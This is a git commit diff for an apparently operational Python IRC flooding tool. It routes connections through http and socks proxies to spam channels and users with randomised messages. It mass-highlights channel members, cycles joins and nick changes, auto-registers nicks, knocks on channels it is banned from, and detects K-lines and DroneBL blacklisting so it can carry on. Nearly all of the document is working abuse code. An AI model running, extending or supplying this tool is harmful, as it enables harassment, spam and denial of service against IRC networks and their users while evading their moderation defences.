This commit is contained in:
Your Name
2021-05-12 08:06:03 +02:00
parent 29675be5a2
commit d3d83e1d90
6 changed files with 237 additions and 138 deletions

View File

@@ -57,16 +57,16 @@ def socks4_resolve(srvname, server_port):
def has_been_lined(recv):
recv = recv.lower()
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
badkw = [ 'not welcome', 'dronebl', 'sectoor', 'kline@', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
for bkw in badkw:
if bkw in recv: return True
return False
def randcrap(msg):
if not '%RANDCRAP%' in msg: return msg
chars = string.ascii_letters + string.punctuation
while '%RANDCRAP%' in msg:
crap = ''
chars = string.ascii_letters + string.punctuation
for i in range( random.randint(1,5)):
if len(crap): crap = '%s ' %crap
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
@@ -74,38 +74,57 @@ def randcrap(msg):
return msg.lower()
def ischan(c):
if '%' in c or '#' in c: return True
if '%' in c or '#' in c or '&' in c: return True
return False
def flood(sock):
nick = random.choice(nicklist)
if config.flood.nick: nick = config.flood.nick
else: nick = random.choice(nicklist)
global has_joined
if config.flood.message is not None:
msgs = config.flood.message.split(';')
msgs = [ randcrap(msg) for msg in msgs ]
#msgs = [ randcrap(msg) for msg in msgs ]
chans = ','.join( [ i for i in config.flood.target.split(',') if ischan(i) ] )
nicks = ','.join( [ i for i in config.flood.target.split(',') if not ischan(i) ] )
chans = [ i for i in config.flood.target.split(',') if ischan(i) ]
nicks = [ i for i in config.flood.target.split(',') if not ischan(i) ]
if len(chans) > 4: chans = random.choice(chans, 4)
if len(nicks) > 4: nicks = random.choice(nicks, 4)
if len(chans): print('chans: %s' %','.join(chans))
if len(nicks): print('nicks: %s' %','.join(nicks))
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle
ticks = time.time()
sent_ping = False
#ret = True
ret = False
connected = False
sentquery = False
global is_target_protected
global default_threads
global waitonsuccess
hilight = {}
while True:
if config.flood.duration > 0:
if (time.time() - ticks) > config.flood.duration: break
elif waitonsuccess: break
recv = sock.recvline()
if not len(recv):
elif not len(chans) and not len(nicks):
print('no chan nothing')
ret = True
break
try:
recv = sock.recvline()
except:
break
if not len(recv): break
elif not ' 372 ' in recv:
print(recv.strip())
_log(recv.strip(), nick)
if has_been_lined(recv):
ret = False
break
@@ -117,87 +136,144 @@ def flood(sock):
if sent_ping: continue
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
sent_ping = True
else:
_split = recv.split(' ')
# irc welcome message
if _split[1] == '001':
send = []
if config.flood.change_nick and config.flood.message is not None and len(nicks):
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist)))
if len(chans):
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs)))
if len(send):
print( '001: sending %s' % '\r\n'.join(send))
sock.send('\r\n'.join(send))
continue
elif recv.startswith('HTTP'): break
# end of names list (joined a chan)
elif _split[1] == '366':
ret = True
send = []
c = _split[3]
if not c in has_joined:
has_joined.append( c )
#elif config.flood.message is not None:
# send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs)))
if config.flood.cycle:
if config.flood.message is not None:
send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs)))
else:
send.append('PART %s\r\nJOIN %s' %(c,c))
if config.flood.once:
send.append('QUIT')
if len(send):
sock.send('\r\n'.join(send) + '\r\n')
print('366 sent: %s' %'\r\n'.join(send))
if config.flood.waitonsuccess:
print('bots should now wait')
waitonsuccess = time.time()
# nick reseverd or already used
elif _split[1] == '432' or _split[1] == '433':
sock.send('NICK %s\r\n' % random.choice(nicklist))
# code 500
elif _split[1] == '500':
if 'too many join request' in recv.lower():
time.sleep(3)
sock.send('JOIN %s\r\n' % _split[3])
# chan +i
elif _split[1] == '473':
if is_target_protected is not None: break
is_target_protected = time.time()
default_threads = config.flood.threads
config.flood.threads = 1
print('target is protected (+i), aborting')
break
# banned from chan
elif _split[1] == '404':
if 'banned' in recv.lower(): sock.send('KNOCK %s\r\n' % _split[3])
# user or chan sets mode +R
elif _split[1] == '477' or _split[1] == '531':
if not config.flood.register:
is_target_protected = time.time()
default_threads = config.flood.threads
config.flood.threads = 1
print('target is protected (+R), aborting')
break
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
time.sleep(1)
if '#' in config.flood.target:
sock.send('JOIN %s\r\n' %config.flood.target)
# flood in PVs
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
if not sentquery or (time.time() - sentquery) > 60:
print('sending queries ?')
if config.flood.change_nick and config.flood.message is not None:
for i in range(config.flood.change_nick):
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
time.sleep(0.3)
elif config.flood.message is not None:
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
sentquery = time.time()
_split = recv.split(' ')
if _split[1] == 'PONG':
time.sleep(1)
sock.send('PING %d\r\n' % round(time.time() - connected))
# irc welcome message
elif _split[1] == '001':
connected = time.time()
send = []
send.append('PING :%d' %random.random())
## spam chans on connect
if len(chans):
send.append('JOIN %s' % ','.join(chans))
if config.flood.message:
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
if cycle:
if config.flood.message:
send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
else:
send.append('PART %s' %','.join(chans))
## spam nicks on connect
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
if config.flood.change_nick:
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
else:
send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs))))
if len(send):
print( '001: sending %s' % '\r\n'.join(send))
sock.send('\r\n'.join(send) + '\r\n')
# end of names list (joined a chan)
elif _split[1] == '366':
ret = True
send = []
c = _split[3]
if config.flood.hilight:
hl = ''
for n in hilight[c]:
if len(hl): hl = '%s %s' %(hl, n)
else: hl = n
if len(hl) >= 200: break
send.append('PRIVMSG %s :%s' %(c,hl))
if not c in has_joined:
has_joined.append(c)
if not c in chans:
chans.append(c)
if cycle:
if config.flood.message is not None:
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
else:
send.append('JOIN %s\r\nPART %s' %(c,c))
if config.flood.once:
send.append('QUIT')
if len(send):
sock.send('\r\n'.join(send) + '\r\n')
print('366 sent: %s' %'\r\n'.join(send))
if config.flood.waitonsuccess:
print('bots should now wait')
waitonsuccess = time.time()
# nick/chan not found
elif _split[1] == '403':
ret = True
if _split[3] in chans: chans.remove(_split[3])
elif _split[3] in nicks: nicks.remove(split[3])
# nick reseverd or already used
elif _split[1] == '432' or _split[1] == '433':
nick = random.choice(nicklist)
sock.send('NICK %s\r\n' % nick)
elif _split[1] == '353':
if not _split[4] in hilight: hilight[_split[4]] = []
for n in _split[5:]:
if n.startswith(':'): n = n.strip(':')
if n.startswith('@'): continue
if n.startswith('%'): continue
if n.startswith('+'): n = n.strip('+')
hilight[_split[4]].append(n)
# code 500
elif _split[1] == '500':
if not ret: ret = True
if 'too many join request' in recv.lower():
time.sleep(10)
sock.send('JOIN %s\r\n' % _split[3])
# chan +i
elif _split[1] == '473':
if not ret: ret = True
sock.send('KNOCK %s\r\n' % _split[3])
if _split[3] in chans: chans.remove( _split[3] )
# banned from chan
elif _split[1] == '404':
if not ret: ret = True
if _split[3] in chans: chans.remove( _split[3] )
# user or chan sets mode +R
elif _split[1] == '477' or _split[1] == '531':
if not ret: ret = True
if not config.flood.register:
if _split[3] in chans: chans.remove(_split[3])
elif _split[3] in nicks: nicks.remove(_split[3])
print('target "%s" is protected (+R)' % _split[3])
else:
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
time.sleep(1)
#if '#' in config.flood.target:
if len(chans):
sock.send('JOIN %s\r\n' % ','.join(chans))
if config.flood.message is not None:
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs))))
if config.flood.once: sock.send('QUIT\r\n')
try: sock.disconnect()
@@ -221,7 +297,11 @@ class WorkerJob():
#global waitonsuccess
#if self.proxy in badlist: return False
if config.flood.waitonsuccess and waitonsuccess is not None:
if (time.time() - waitonsuccess) < config.flood.delay: return True
if not '-' in config.flood.delay:
if (time.time() - waitonsuccess) < int(config.flood.delay): return True
else:
s = config.flood.delay.split('-')
if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True
srvname = config.flood.server
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]